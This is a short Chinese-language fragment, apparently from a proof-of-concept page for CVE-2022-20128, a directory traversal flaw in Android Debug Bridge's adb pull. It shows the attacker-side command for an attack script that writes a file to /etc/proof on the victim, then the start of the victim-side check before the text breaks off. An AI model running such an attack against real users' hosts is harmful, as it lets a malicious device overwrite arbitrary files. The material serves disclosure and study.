CVE-2022-20128

CVE-2022-20128 Android Debug Bridge adb 在执行 adb pull 操作时容易受到目录遍历攻击，此类攻击可能由恶意/被入侵的 adb 守护进程发起。 恶意设备： ./adbdirtrav.py -lp 5111 --content "hello world" --destination-path /etc/proof 受害者： root@eedd4cb8b202:/tmp/platform-tools cat /etc/proof cat: /etc/proof: No such file or directory...